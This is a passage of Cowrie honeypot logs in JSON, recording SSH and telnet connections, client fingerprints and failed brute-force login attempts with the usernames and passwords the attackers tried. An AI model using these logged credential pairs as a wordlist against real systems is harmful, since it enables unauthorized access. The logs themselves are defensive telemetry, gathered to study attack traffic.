-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.619572Z","src_ip":"87.251.79.125","session":"da4fda5d60af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vadik123","message":"login attempt [root/vadik123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:57.835353Z","src_ip":"87.251.79.125","session":"da4fda5d60af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:02:58.907855Z","src_ip":"87.251.79.125","session":"da4fda5d60af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00442814826965,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:02.096700Z","src_ip":"107.6.151.170","session":"cff5ec9b4726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":53572,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ca34fc536a0","protocol":"ssh","message":"New connection: 162.214.22.174:53572 (10.17.0.5:22) [session: 9ca34fc536a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:30.832762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:30.836832Z","src_ip":"162.214.22.174","session":"9ca34fc536a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:30.925629Z","src_ip":"162.214.22.174","session":"9ca34fc536a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C@k3!M@st3r#P@ss","message":"login attempt [root/C@k3!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:31.192667Z","src_ip":"162.214.22.174","session":"9ca34fc536a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:32.573319Z","src_ip":"162.214.22.174","session":"9ca34fc536a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.147","src_port":62206,"dst_ip":"10.17.0.5","dst_port":22,"session":"59be1af90da1","protocol":"ssh","message":"New connection: 45.148.10.147:62206 (10.17.0.5:22) [session: 59be1af90da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:39.819102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:39.822024Z","src_ip":"45.148.10.147","session":"59be1af90da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:39.904510Z","src_ip":"45.148.10.147","session":"59be1af90da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:40.297997Z","src_ip":"45.148.10.147","session":"59be1af90da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":37120,"dst_ip":"159.203.135.109","dst_port":22,"session":"03131c43ebde","protocol":"ssh","message":"New connection: 103.27.238.114:37120 (159.203.135.109:22) [session: 03131c43ebde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:44.266813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:44.270035Z","src_ip":"103.27.238.114","session":"03131c43ebde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:44.539334Z","src_ip":"103.27.238.114","session":"03131c43ebde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vova1988","message":"login attempt [root/vova1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:45.349871Z","src_ip":"103.27.238.114","session":"03131c43ebde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:46.621531Z","src_ip":"103.27.238.114","session":"03131c43ebde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":51188,"dst_ip":"10.17.0.5","dst_port":22,"session":"31cf1ed9d941","protocol":"ssh","message":"New connection: 194.113.233.25:51188 (10.17.0.5:22) [session: 31cf1ed9d941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:51.062948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:51.067034Z","src_ip":"194.113.233.25","session":"31cf1ed9d941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:51.160127Z","src_ip":"194.113.233.25","session":"31cf1ed9d941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29041980","message":"login attempt [root/29041980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:51.427811Z","src_ip":"194.113.233.25","session":"31cf1ed9d941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:03:52.519738Z","src_ip":"194.113.233.25","session":"31cf1ed9d941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":53190,"dst_ip":"10.17.0.5","dst_port":22,"session":"35f46e006822","protocol":"ssh","message":"New connection: 91.92.40.176:53190 (10.17.0.5:22) [session: 35f46e006822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:04:57.321551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:04:57.386474Z","src_ip":"91.92.40.176","session":"35f46e006822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:04:57.524575Z","src_ip":"91.92.40.176","session":"35f46e006822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:04:58.244119Z","src_ip":"91.92.40.176","session":"35f46e006822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:04:59.396095Z","src_ip":"91.92.40.176","session":"35f46e006822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37870,"dst_ip":"10.17.0.5","dst_port":22,"session":"acd901055dcf","protocol":"ssh","message":"New connection: 103.122.221.179:37870 (10.17.0.5:22) [session: acd901055dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:05:32.735600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:05:32.739434Z","src_ip":"103.122.221.179","session":"acd901055dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:05:32.996491Z","src_ip":"103.122.221.179","session":"acd901055dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130995","message":"login attempt [root/130995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:05:33.769622Z","src_ip":"103.122.221.179","session":"acd901055dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:05:35.029115Z","src_ip":"103.122.221.179","session":"acd901055dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":50868,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f3b6bade693","protocol":"telnet","message":"New connection: 137.184.5.188:50868 (159.203.135.109:23) [session: 8f3b6bade693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:05:47.152699Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":55120,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad5ba8876945","protocol":"telnet","message":"New connection: 137.184.5.188:55120 (159.203.135.109:23) [session: ad5ba8876945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:06:16.583241Z"}
{"eventid":"cowrie.session.closed","duration":36.47040057182312,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:06:53.053539Z","src_ip":"137.184.5.188","session":"ad5ba8876945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":50950,"dst_ip":"10.17.0.5","dst_port":22,"session":"97c59972d4fd","protocol":"ssh","message":"New connection: 91.92.40.176:50950 (10.17.0.5:22) [session: 97c59972d4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:06:56.894973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:06:56.918974Z","src_ip":"91.92.40.176","session":"97c59972d4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:06:57.007093Z","src_ip":"91.92.40.176","session":"97c59972d4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:06:57.350485Z","src_ip":"91.92.40.176","session":"97c59972d4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:06:58.452679Z","src_ip":"91.92.40.176","session":"97c59972d4fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":35992,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ce7aa2f97ce","protocol":"telnet","message":"New connection: 137.184.5.188:35992 (159.203.135.109:23) [session: 6ce7aa2f97ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:18.586945Z"}
{"eventid":"cowrie.session.closed","duration":94.96771192550659,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:22.120298Z","src_ip":"137.184.5.188","session":"8f3b6bade693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":53518,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9ed12d6a9fe","protocol":"ssh","message":"New connection: 162.214.159.200:53518 (159.203.135.109:22) [session: a9ed12d6a9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:45.051286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:45.055055Z","src_ip":"162.214.159.200","session":"a9ed12d6a9fe","protocol":"ssh"}
